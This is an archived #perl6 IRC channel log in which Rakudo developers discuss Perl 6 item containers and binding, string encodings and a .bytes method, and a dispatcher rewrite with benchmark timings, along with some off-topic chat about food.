22:10 ruoso er...
22:10 ruoso bad pugs
22:11 TimToady two says
22:11 jnthn masak: 吗 is the question particle?
22:11 DanielC sub infix:<·> (@a,@b) { [+] @a »*« @b }
22:11 DanielC This is beautiful.
22:11 JDlugosz Hey Larry,...
22:11 TimToady howdy
22:11 masak jnthn: indeed. like czy in Polish, if that helps. statement-prefix only.
22:11 JDlugosz I need to make sure I'm on the right track re item containers.
22:11 JDlugosz It's rather critical to my understanding and forward progress.
22:12 jnthn masak: prefix? You wrote it on the end?
22:12 jnthn I thought it was a postfix...
22:12 masak er. postfix. :)
22:12 jnthn Phew. :-)
22:12 masak statement-postfix.
22:12 jnthn grammar Mandarin is SinoTibetan { }
22:12 jnthn ;-)
22:13 jnthn Gaaah, this bug is *hard*. :-(
22:13 masak jnthn: and there's no nesting of question particles either. I've tried it on various native Chinese, and it just makes no sense to them.
22:13 TimToady JDlugosz: we had a discussion about that earlier today here; I think you're on the right track with binding, and the magic of $x vs @x is actually in how it desugars in an arglist
22:14 JDlugosz I'll scroll back the log.  Meanwhile, can you give me a nod or woah on this statement: ...
22:14 JDlugosz Regarding "item containers" ...
22:14 JDlugosz my @A = (1, 2, 3);
22:14 JDlugosz my $x;  # default to "is Scalar"
22:14 JDlugosz $x = @A;
22:14 JDlugosz Now $x is BOUND TO an item container of type Scalar, which CONTAINS an Array which itself CONTAINS 3 items of type Int.
22:14 JDlugosz @A is BOUND TO a list container of type Array.
22:14 lambdabot Maybe you meant: . ? @ v
22:14 JDlugosz my $y := @A;
22:14 JDlugosz $y is BOUND TO the Array, same as @A is.
22:14 jnthn OH NO
22:15 JDlugosz I do recall that you made a much bigger deal about Item Containers back when, and everyone but me seems to have forgotten about them.
22:15 jnthn *sigh* I think I've figured out what it might be. :-S
22:15 JDlugosz So I wonder if it's gone by the wayside in the last 9 years.
22:15 * masak admires JDlugosz' memory
22:16 ruoso JDlugosz, that was/is my understanding of things... but today there has been some mentioning that binding also implies context...
22:17 keta pmichaud: I have rebuilt everything with Parrot r37869. The above error is still the same! Rakudo otherwise works fine. Only the operator overloading examples by moritz and jnthn don't work for me.
22:17 pmichaud 37869 seems old
22:17 jnthn pmichaud: Eww eww eww. It appears that the reason split is broken, is because the previous dispatcher walked the MRO out-of-order. Or at least, ignored methods on a PMC if there was one anywhere else in the hierarchy on a non-PMC.
22:18 TimToady I'm not sure I believe in Scalar right now
22:18 keta pmichaud: It's the one from build/PARROT_REVISION
22:18 pmichaud keta: the current version of Rakudo expects 39025.   Are you sure you have an up-to-date Rakudo?
22:18 ruoso TimToady, er.. don't spell any heresy... ;) Scalars do exist...
22:18 jnthn pmichaud: Now I walk it properly, and hit upon the split that is installed into/copied into the String namespace. But at that point it's a Parrot MultiSub, not a Perl6MultiSub.
22:19 keta pmichaud: 'git-fetch' is what I do
22:19 TimToady all objects are scalars
22:19 jnthn (That is, at the point it was copied over there.)
22:19 JDlugosz masak:  thanks (I think)
22:19 ruoso TimToady, no.. that was p5
22:19 jnthn pmichaud: So the multi-dispatch does the wrong thing. :-(
22:19 masak JDlugosz: also, see? TimToady doesn't believe in Scalars either. :P
22:19 jnthn pmichaud: Epic ouch.
22:19 JDlugosz Don't beleive in scalars:   well, whatever the Item COntainer ends up being called.  Syn has funny old edits, and doesn't distinguish between the Role and the concrete class.
22:20 JDlugosz So is there a conceptual change coming, or a shake-down based on existing practice of late?
22:20 TimToady mind you, I'm writing all this with a headache, so take it all with a grain of salt
22:20 keta pmichaud: If it is expected to work, I'll sort it out myself tomorrow...
22:20 jnthn JDlugosz: Could just be that roles pun.
22:20 JDlugosz Should I avoid that term in favor of something else?
22:20 ruoso JDlugosz, yeah... the term "concrete class" is much more flexible in Perl 6
22:21 TimToady there's no extra level of indirection in $x than in @x
22:21 pmichaud masak: (hackathon)  Outstanding!
22:21 JDlugosz (headache) likewise.  Surreal dreams combining Perl 6 and the movie "The Red Violin".  But that's another story.
22:21 pmichaud keta: I'm not sure if "git-fetch" will always get the latest master.
22:21 TimToady insofar as when you say $x := @x, the symbol table entries for $x and @x point to the same object
22:21 ruoso that's fine
22:21 TimToady and $x =:= @x
22:21 masak pmichaud: yes, quite. now I just need to write the presentation. :P
22:21 ruoso TimToady, that still fits with my understanding of things
22:22 JDlugosz $x := @x, same object at symbol table level, no extra level of indirection.  That fits my understanding.
22:22 ruoso the latest @x capturization is that needs to be refined yet
22:22 TimToady or to put it another way, the type Scalar is really just the pointer in the symbol table to the object
22:22 * skids thinks $x =:= @x should be in synopsis somewhere, if not already.
22:23 ruoso TimToady, it's not only related to "symbol table"
22:23 ruoso it's related to storage in all sorts of places
22:23 TimToady yes
22:23 ruoso i.e. has $.foo;
22:23 pochi if $x =:= @x etc, then why have sigils at all?
22:23 TimToady point is that $x in a list works the same as @a<x>
22:23 TimToady er,
22:23 TimToady @a[1]
22:23 lambdabot Unknown command, try @list
22:24 masak pmichaud: I just committed the .bytes method. the same trick used there can be used for both aspects of unpack and Buf. I will probably look into that next.
22:24 TimToady in neither case does list interpolation happen without extra help
22:24 JDlugosz hmm, are you saying that there is *never* an extra layer?
22:24 TimToady there can be a proxy to enforce readonly
22:24 ruoso I think it's just a matter of refining when @x invokes interpolation
22:24 TimToady but that's somethign else
22:24 JDlugosz My current diagram (which I need to draw on the computer) explains everything so well.
22:24 TimToady and what we were discussing earlier was that @x desugars to @x.capturize
22:25 ruoso right...
22:25 JDlugosz Or is the "item container" hoisted into the symbol container, and always there?
22:25 ruoso but in which circumstances?
22:25 TimToady where as \@x (or maybe $@x now) desugars to the bare @x object
22:25 JDlugosz capturize?
22:25 TimToady as does $x, even if bound to Array
22:25 ruoso JDlugosz, for capturize, do backlog from today
22:26 TimToady capturize wraps it up to the list knows it's context dependent
22:26 TimToady might just be .list
22:26 amoc joined #perl6
22:26 JDlugosz OK, I'll catch up later.
22:26 dalek rakudo: 5ac642b | masak++ | src/setting/Any-str.pm:
22:26 dalek rakudo: [setting/Any-str.pm] implemented the .bytes method
22:26 dalek rakudo: review: http://github.com/rakudo/rakudo/commit/5ac642b6d17abd4266fcb0e34a655b8dabe7c6f5
22:26 TimToady sorry, not terribly coherent at the moment
22:26 TimToady need to lie down
22:26 JDlugosz That's like another context?  item, etc.?
22:27 ruoso TimToady, I think the .capturize thing is on the right track, but it happens only in fewer cases...
22:27 ruoso so that $x := @x ; $x =:= @x works
22:28 TimToady discussion at http://irclog.perlgeek.de/perl6/2009-05-27#i_1181517
22:28 pmichaud masak: surely there's a better way for us to compute bytes.
22:28 masak pmichaud: yes, I hope so too. :)
22:28 TimToady you *can't* compute bytes unless you know the encoding
22:28 masak pmichaud: this was what was suggested to me on parrot-dev.
22:29 pmichaud masak: my suggestion is to try to trans_encoding to 'fixed_8', and then take the "length"
22:29 masak pmichaud: I will definitely try that.
22:29 TimToady NO
22:29 JDlugosz Thanks, y'all.
22:29 TimToady please don't guess the encoding
22:29 pmichaud TimToady: the string already knows its encoding.
22:29 TimToady Str doesn't naturally know .bytes
22:29 ruoso TimToady, is := and = regular infix ops?
22:30 ruoso s/is/are/
22:30 TimToady how do they know that?
22:30 pmichaud TimToady: it's possible I'm conflating a couple of issues here (more)
22:30 TimToady Perl 6 doesn't assume that strings know their encoding until filtered through output handle
22:30 pmichaud TimToady: but in Parrot, every string has an encoding and a charset
22:30 jferrero joined #perl6
22:31 pmichaud so switching a string to "fixed_8" encoding is roughly equivalent to cnverting it (in Perl 6 terms) to a Buf
22:31 masak TimToady: I need some way to turn a Str into bytes, so that I can do URL escaping right. I'm very eager to hear how to implement this right.
22:31 TimToady which will probably be the wrong answer in Japan
22:31 ruoso masak, even when doing url escaping, you do need to explicitly ask for a encoding
22:31 * skids plugs in new USB RS232 adaptor and is nearly blinded by the blue LED,
22:32 skids I know blue LEDs are nice and all but...
22:32 masak ruoso: I see.
22:32 masak hm. need sleep. will backlog.
22:32 * masak waves good night
22:32 TimToady it's fine for now to just support .bytes on a Buf type only, not on Str
22:32 pmichaud well, what masak++ is really after is a way to urlencode a Str, I think.
22:32 ruoso and a Str that is stored in some encoding does Buf?
22:33 pmichaud I'd have to go back and check what the standards are for urlencoding non-ASCII
22:33 TimToady by default a Str's minimum abstraction level is graphemes
22:33 TimToady you can't even ask it how many codepoints it has, really
22:33 ruoso pmichaud, there isn't one... it's up to the server
22:34 pmichaud ruoso: normally the url encoding is up to the browser when generating data
22:34 TimToady you don't know .codes unless you know what composition/decomposition is desired
22:34 wayland76 skids: now you know why duct tape was invented
22:34 ruoso pmichaud, right... or up to the server when generating the links
22:34 pmichaud ruoso: I suspect that masak++ is writing a server app, yes.
22:34 pmichaud which is why he needs the encoding.
22:34 pmichaud *urlencoding
22:35 ruoso either way he needs to declare explciitly which encoding he's using
22:35 ruoso there's no implicit encoding there...
22:36 ruoso TimToady, is there a standard abstract way to represent graphemes in memory?
22:36 pmichaud in all likelihood he's using utf-8  (and can know that)
22:36 jnthn pmichaud: My dispatcher re-write now gets through all sanity tests and a bunch of extra spectests too.
22:36 TimToady no, that's why they're *abstract*
22:36 pmichaud jnthn: \o/
22:36 pmichaud which means the urls need to also be utf8
22:36 jnthn pmichaud: I think I'm down to the fails I was kinda expecting to have now.
22:37 ruoso TimToady, so every Str needs to be stored in memory in some encoding/charset...
22:37 skids jnthn<<+<<1  xx $many
22:37 TimToady ruoso: ask someone about NFG; I need to go shut my eyes
22:37 pmichaud and something like « has to be written as a 2-octet escaped sequence  (like %C2%AB or something like that)
22:38 * ruoso needs to decommute...
22:38 * ruoso waves goodbye...
22:38 JDlugosz NFG is a misnomer.  It is not a normalized form of unicode at all.
22:39 wayland76 lets make it stand for non-normalised then
22:39 jnthn pmichaud: I actually ended up not having to change anything to do with Str creation etc.
22:39 skids or nihilist
22:40 jnthn pmichaud: Anyway, my brain's kinda done for now after hunting that one down, so I'll resume tomorrow.
22:41 wayland76 jnthn++ :)
22:42 mizioumt left #perl6
22:46 jnthn 10,000 sub dispatches: 5.983806
22:46 jnthn 10,000 multi dispatches: 4.936302
22:46 jnthn 10,000 method dispatches: 5.311666
22:46 jnthn 10,000 multi-method dispatches: 7.843105
22:47 jnthn So, I'm happy that method and sub dispatch are on a more level footing now (method dispatch used to be almost somewhat more costly)
22:47 jnthn However, multi-method dispatch is still a pig.
22:48 jnthn (figures pasted for relative comparsion rather than their absolute values)
22:50 pmichaud they're still quicker than what they were, even for multi-method dispatch, yes?
22:50 jnthn pmichaud: Oh yes, for sure.
22:50 pmichaud I'm impressed (and pleased) with this
22:50 jnthn pmichaud: Method dispatch used to be notably slower than sub dispatch.
22:51 jnthn pmichaud: I know exaclty why multi-method dispatch costs more, fwiw.
22:51 jnthn pmichaud: I won't deal with it right away, but I know what needs fixing.
22:51 jnthn I just didn't decide how to fix it yet.
22:51 jnthn Well, optimizing. :-)
22:52 jnthn The reason is that the caching scheme doesn't work out for multi-methods.
22:53 synthEEEE joined #perl6
22:53 jnthn pmichaud: Also, this now works:
22:53 jnthn class Foo {
22:53 jnthn multi method x($x) { say "in general" }
22:54 jnthn multi method x(Int $x) { say "in specific"; nextsame; }
22:54 jnthn }
22:54 jnthn Foo.new.x(42);
22:54 jnthn output is
22:54 ZuLuuuuuu joined #perl6
22:54 jnthn in specific
22:54 jnthn in general
22:54 jnthn :-)
22:54 pmichaud :-)
22:54 skids useful...
22:55 jnthn pmichaud: Also
22:55 jnthn class Bar is Foo { method x($x) { say "in subclass"; nextsame; }
22:55 jnthn }
22:55 jnthn Bar.new.x(42);
22:55 jnthn Will do "in subclass", "in specific", "in general"
22:56 jnthn pmichaud: It isn't making a candidate list in advance for every call. Instead, it lazily builds it as it's required.
22:56 jnthn So we only really pay for deference when the code defers.
22:56 pmichaud which is as it should be :-)
22:57 jnthn For multis it's harder to be quite so lazy, but once I get our ability to cache fixed up then we'll be looking a lot better.
22:58 jnthn Anyway, I hadn't actually tested that those deference things worked until like 10 minutes ago.
22:58 * jnthn is happy
22:59 * jnthn goes and grabs a nice tmave krusovice pivo
23:06 cognominal joined #perl6
23:09 wayland76 What does the type "Matcher" do?
23:09 DanielC Hi. I'm reading S02. What's the difference between a graphene and a character?
23:10 DanielC I would have thought that á, ü and ñ are all both graphenes and characters.
23:10 wayland76 It appears in the S32 definition of grep and other Matcher functions
23:10 jnthn wayland76: ah, think I defined that in Rakudo just recenlty
23:10 jnthn ah yes
23:11 jnthn subset Matcher of Object where { .can('ACCEPTS') };
23:11 jnthn wayland76: So just requires something you can smart-match against.
23:12 wayland76 DanielC: Does http://unicode.org/faq/char_combmark.html answer your question (second answer down)
23:12 DanielC *click*
23:13 pmichaud jnthn: does that need the "of Object" part?
23:13 jnthn pmichaud: yes
23:13 jnthn pmichaud: I think so anyway.
23:13 jnthn pmichaud: IIRC default is of Any.
23:13 pmichaud for subset there's a default?
23:14 jnthn Hmm...
23:14 jnthn rakudo: subset X where { 1 }; say Object.new ~~ X
23:14 p6eval rakudo 5ac642: OUTPUT«1␤»
23:14 jnthn ah
23:14 jnthn pmichaud: In that case no.
23:15 wayland76 rakudo: subset X where { 1 }; say  X.WHAT
23:15 jnthn pmichaud: I think I copy-pasted the definition from somewhere and just used it as is.
23:15 p6eval rakudo 5ac642: OUTPUT«()␤»
23:15 pmichaud I tend to want to eliminate superfluous constraints.
23:15 jnthn pmichaud: But thinking about it, Any probably doesn't make much sense.
23:15 jnthn pmichaud: Yeah. of Object can likely go away.
23:15 DanielC wayland76: So, character is just a computer representation and it may take more than one character to define a graphene?
23:16 wayland76 DanielC: I'm no unicode expert, but that's what that answer seems to me to be saying
23:16 DanielC ok
23:16 DanielC thanks
23:16 wayland76 I have a bit of a grip on the Maths, and the Parentheses, but the rest of Unicode is dark and mysterious :)
23:16 Sartak left #perl6
23:17 DanielC :-)
23:21 donaldh joined #perl6
23:23 DanielC What is the difference between "$str.say" and "say $str" ? I know that they have the same effect, and clearly $str.say means that say() is a method.
23:23 DanielC What about "say $str"? Is that just syntactic sugar for $str.say? Or is it a legitimate function in its own right?
23:25 wayland76 Does anyone know what this error means?
23:25 wayland76 >perl6 Axes.pm
23:25 wayland76 ResizablePMCArray: Can't pop from an empty array!
23:25 wayland76 in Main (src/gen_setting.pm:2167)
23:25 pmichaud .say is a method on Any
23:25 pmichaud afaik, it doesn't take any arguments
23:26 pmichaud (or if it does, then its argument is a filehandle)
23:26 pmichaud say() is a global function
23:26 DanielC ok
23:26 pmichaud it takes a slurpy list of arguments
23:26 Tene :( building rakudo uses all of my RAM.
23:26 pmichaud Tene: the C-compiler step?
23:26 pmichaud Tene: or some other step?
23:26 Tene No, just the usual part.
23:27 DanielC pmichaud: thanks
23:30 pmichaud rakudo:   <a b c d>.say
23:30 p6eval rakudo 5ac642:  ( no output )
23:30 Tene rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1); foo(1); foo(1);
23:30 p6eval rakudo 5ac642: OUTPUT«hi␤OMG LOL HAI!!!␤OMG LOL HAI!!!␤»
23:30 pmichaud rakudo:   <a b c d>.say
23:30 p6eval rakudo 5ac642: OUTPUT«abcd␤»
23:30 Tene rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1); foo(1); foo(1);
23:30 p6eval rakudo 5ac642: OUTPUT«hi␤Parameter type check failed; expected something matching Junction() but got something of type Int() for $n in call to foo␤in sub foo (/tmp/KkAdgYt2HO:2)␤called from Main (/tmp/KkAdgYt2HO:2)␤»
23:31 Tene That failure is... interesting.
23:32 Tene (Not that the intended behavior is very well-defined... :)
23:33 wayland76 rakudo: a = ::$t;
23:33 p6eval rakudo 5ac642: OUTPUT«ResizablePMCArray: Can't pop from an empty array!␤in Main (src/gen_setting.pm:2167)␤»
23:33 wayland76 What's that error? :)
23:33 DanielC Perl 6 offers some new opportunities for obfuscation:  @arr\ #( ?* &)   [0]
23:34 wayland76 DanielC: It does indeed, especially with custom Unicode operators :)
23:34 DanielC :-)
23:34 jnthn Tene: srsly wtf is that error about?!
23:34 jnthn Tene: oh, damm
23:34 Tene jnthn: ENOCLUE
23:34 jnthn I read the wrong Rakudo output.
23:35 jnthn Tene: oh, hang on
23:35 jnthn What was the difference between the example you wrote with the awesome subset that worked, and the one that didn't?
23:36 Tene jnthn: no difference.
23:36 Tene just ran the same command again.
23:36 jnthn Tene: ouch. Rakudobug...
23:36 Tene jnthn: well, it *was* random...
23:37 jnthn Tene: True. ;-)
23:37 Tene I'm suspecting something like it matching against the subset a few times, and one disagreeing with a different.
23:37 Electric1eavyLan joined #perl6
23:37 jnthn Tene: oh
23:37 jnthn Tene: It'll be falling into the junction dispatcher.
23:37 Tene but that's just a guess.
23:37 jnthn When it can't find a candidate.
23:37 jnthn I guess.
23:37 jnthn Still odd.
23:38 wayland76 rakudo: $a = ::$t;
23:38 p6eval rakudo 5ac642: OUTPUT«ResizablePMCArray: Can't pop from an empty array!␤in Main (src/gen_setting.pm:2167)␤»
23:38 pmichaud rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1) for 1..5;
23:38 p6eval rakudo 5ac642: OUTPUT«hi␤hi␤hi␤hi␤hi␤»
23:38 pmichaud rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1) for 1..5;
23:38 p6eval rakudo 5ac642: OUTPUT«Parameter type check failed; expected something matching Junction() but got something of type Int() for $n in call to foo␤in sub foo (/tmp/0nveH3jt1b:2)␤called from Main (/tmp/0nveH3jt1b:2)␤»
23:38 pmichaud rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1) for 1..5;
23:38 p6eval rakudo 5ac642: OUTPUT«hi␤OMG LOL HAI!!!␤OMG LOL HAI!!!␤Parameter type check failed; expected something matching Junction() but got something of type Int() for $n in call to foo␤in sub foo (/tmp/B2vIVR4fwQ:2)␤called from Main »
23:38 pmichaud Very strange.
23:39 jnthn Probabalistic failure. :-D
23:39 pmichaud Oh, I know the problem!
23:39 pmichaud at least, I can guess
23:39 pmichaud the first time the dispatcher sees it, the where clause gives a matching value
23:39 pmichaud but inside of SIGNATURE_BIND, the where class gives a non-matching value
23:39 pmichaud i.e., the where clause is being invoked multiple times for a single call, perhaps?
23:40 jnthn pmichaud: Right. We would be a whole bunch faster if we had a !SIGNATURE_BIND that knew we were invoked via multi-dispatch that didn't re-do the checks.
23:40 pmichaud more importantly, we probably need some way to make sure the checks are done only once.
23:40 jnthn pmichaud: Well, yes, it's sub-optimal.
23:41 jnthn pmichaud: And possibly wrong-ish too.
23:41 skids side effects may cause wrongness.  Do not take with NSAIDs.
23:42 pmichaud or perhaps we can get single-dispatch to do the checks as well, so that !SIGNATURE_BIND doesn't have to?
23:42 pmichaud (I don't remember all the gory details there.)
23:43 jnthn pmichaud: Still tricky-ish I fear.
23:43 jnthn pmichaud: Need to do the right-ish thing with &some_multi.candidates[0].()
23:44 jnthn Well, with args to check of course...
23:44 pmichaud is that single or multi dispatch in that case?
23:44 jnthn As we currently have it, single.
23:44 jnthn Single dispatch to a single multi candidate.
23:45 jnthn OTOH I suspect &some_multi:<Int, Str>($a, $b) or whatever the syntax is will still be multi.
23:46 pmichaud that's what I would expect.
23:46 jnthn ('cus we can't be sure we uniquely identified a candidate here)
23:46 jnthn I didn't quite decide who to implement that second one yet.
23:46 jnthn It's easy if it doesn't need to be optimal.
23:47 pmichaud easy is good, at least until we know optimal is needed.
23:47 jnthn Aye.
23:47 skids jnthn: you know what, why don't you take some time to enjoy your victory before you poke holes in it? :-)
23:48 pmichaud he already enjoyed his victory -- it's BACK TO WORK!  *cracks whip*
23:48 jnthn no no pleez i can haz sleeps first?
23:48 jnthn ;-)
23:49 wayland76 we might allow that, but would CHEEZBURGERZ be an acceptable substitute? :)
23:49 jnthn wayland76: Ooh, maybe...but I already eated a double cheezburger at lunch.
23:49 jnthn And a large pizza for dinner.
23:50 jnthn So I think I've maxed out on the less-than-healthy food today...
23:50 wayland76 Hmm.  That's hard to top, unless you like corn fritters or something :)
23:50 kesselhaus left #perl6
23:50 skids .oO(grits)
23:50 jnthn Oh, I used to do FAR worse
23:50 wayland76 Or we could give you some grapes and strawberries :)
23:51 jnthn When I was young, in my village, there was (like in every respectable English village) a fish and chip shop.
23:51 jnthn The sort that deep-fries stuff in nice thick batter.
23:51 jnthn Now, I don't like fish/seafood. So at such places I take a battered deep fried saussage.
23:51 wayland76 Tell you what, every 4 hours, we'll let you sleep for 25 minutes -- 24 hours a day :)
23:51 jnthn However, this place had something else.
23:51 skids no stop! low on groceries!  Must last night!
23:51 jnthn Deep friend black pudding.
23:52 wayland76 Hoo! :)
23:52 jnthn Complete with the lumps of embedded fat.
23:52 wayland76 I'm told the Scots go in for deep-fried mars bars
23:52 Electric1eavyLan left #perl6
23:52 jnthn They were around a bit in England too.
23:52 jnthn I never found a place that did one though. :-(
23:53 jnthn Was curious to try it for the novelty factor.
23:53 wayland76 Same here
23:53 wayland76 But I'd prefer to try it somewhere foreign, so I couldn't get them all the time :)
23:53 ElectricHeavyLan joined #perl6
23:54 jnthn Yeah, when I worked in the UK I'd go to the chippie quite often.
23:54 jnthn Probably good it's not an option here.
23:54 wayland76 If you buy a big pile of fruit, that can be eaten raw, it's almost as convenient :)
23:55 jnthn Yeah. Grapes are great for that.
23:55 wayland76 My point exactly :)
23:55 jnthn Often have some of those around.
23:56 jnthn Strawberries are nice for that too. :-)
23:57 jnthn And (expensive but gorgeous) cherries.
23:59 brunov joined #perl6
23:59 sri_kraih joined #perl6
23:59 * jnthn was going to book his flight to YAPC::EU tonight, but doesn't trust himself to do it right now.

| Channels | #perl6 index | Today | | Search | Google Search | Plain-Text | summary

Perl 6 | Reference Documentation | Rakudo